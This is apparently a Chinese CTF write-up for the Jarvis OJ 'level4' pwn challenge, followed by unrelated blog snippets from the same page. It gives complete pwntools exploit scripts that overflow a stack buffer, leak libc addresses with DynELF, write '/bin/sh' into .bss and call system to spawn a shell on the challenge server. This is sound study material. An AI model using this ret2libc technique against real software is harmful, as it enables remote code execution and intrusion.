開了nx保護
溢位點在read函式:
當然leak啦(其實就是換一種方法獲取system的真實位址)然後再想著法子把/bin/sh給寫到bss或者data裡
構造leak函式:
def leak(address):
payload1 = "a" * 140 + p32(write_plt) + p32(main) + p32(1) + p32(address) + p32(4)
p.sendline(payload1)
data = p.recv(4)
log.info("%#x => %s" % (address, (data or '').encode('hex')))
return data
這段函式能從記憶體中address處dump出4位元組資料,函式執行結束後會返回main函式重新執行,也就是說利用這個函式,我們可以dump出整個libc
d = dynelf(leak, elf=elf('./001'))
system_addr= d.lookup('system', 'libc')
獲取到system位址後便可以構造system(「/bin/sh」);攻擊程式。由於程式中沒有/bin/sh這個字串,我們可以用read函式先它寫入記憶體中乙個固定的位置,然後再執行system函式
bss段在記憶體中的位置是固定的,所以可以將/bin/sh寫到bss段中,payload如下:
'b' * 140 + p32(read_plt) + p(ret1) + p32(0) + p32(bss_addr) + p32(8) + p32(system_addr) + p32(ret2) + p32(bss_addr)
現在棧中的情況如圖:
from pwn import *
io=remote("pwn2.jarvisoj.com",9880)
elf=elf("./level4")
vuln=0x804844b
writeplt=elf.plt["write"]
readplt=elf.plt["read"]
bss_addr=elf.bss()#獲取bss位址,將引數/bin/sh寫入bss段上去
def leak(address):
payload="a"*0x88+"aaaa"+p32(writeplt)+p32(vuln)+p32(1)+p32(address)+p32(4)
io.sendline(payload)
leak_sysaddr=io.recv(4)
return leak_sysaddr
d = dynelf(leak, elf=elf("./level4"))#dynelf洩露system位址
sysaddr=d.lookup("system","libc")
payload1="a"*0x88+"aaaa"+p32(readplt)+p32(vuln)+p32(1)+p32(bss_addr)+p32(8)
io.sendline(payload1)
io.sendline("/bin/sh")#將引數/bin/sh寫入bss段上去
payload2="a"*0x88+"aaaa"+p32(sysaddr)+p32(vuln)+p32(bss_addr)
io.sendline(payload2)
io.interactive()
#ctf
from pwn import *
# sh = process("./level4")
sh = remote("pwn2.jarvisoj.com",9880)
elf = elf("./level4")
# plt
read_plt = elf.plt["read"]
write_plt = elf.plt["write"]
# got
read_got = elf.got["read"]
write_got = elf.got["write"]
# some addrss
vulfun_addr = elf.symbols["main"]
pop3ret = 0x08048509
# leak the address of system
junk = "a"*0x88
fakebp = "a"*4
def leak(address):
payload = junk + fakebp
payload += p32(write_plt) + p32(pop3ret)
payload += p32(1) + p32(address) + p32(4) + p32(vulfun_addr)
sh.send(payload)
data = sh.recv(4)
#print "%#x %s" % (address, data)
return data
d = dynelf(leak, elf=elf("./level4"))
system_addr = d.lookup("system","libc")
print "system address: " + hex(system_addr)
# read bss
bss_addr = elf.bss()
payload1 = junk + fakebp
payload1 += p32(read_plt) + p32(pop3ret)
payload1 += p32(0) + p32(bss_addr) + p32(8)
payload1 += p32(system_addr) + p32(vulfun_addr) + p32(bss_addr)
# send paylaod and /bin/sh
sh.send(payload1)
sh.send("/bin/sh\0")
sh.interactive()
賞 你的支援是我最大的動力! DROPS第二週周五
開了nx保護 溢位點在read函式 當然leak啦 其實就是換一種方法獲取system的真實位址 然後再想著法子把 bin sh給寫到bss或者data裡 構造leak函式 def leak address payload1 a 140 p32 write plt p32 main p32 1 p3...
2019 9 20 開學第三週周五 周總結
乙個周沒有記錄了。中秋節的時候,出去玩了幾次,很開心 可惜週末的網路賽打的也不怎麼樣,感覺這兩套題非常不適合我,我是打的很難受的。這周一開始又散漫了,不愛學習,在床上頹廢了兩天,躺的腰痠背疼的。然後就漸漸的催促自己起來學習,到最近這兩天,其實也就這兩天算是學習。總的來說,這乙個周,英語 單詞背了二三...
串列埠 周五週六簡記
星期五的時候把串列埠工程 e documents program routine example lpc1220 uart lpc1220 uart autobaud lpc1220 uart autobaud.xmp 週六的時候,小東的mdk和tkstudio總出問題,上午和下午都是在弄這個 1....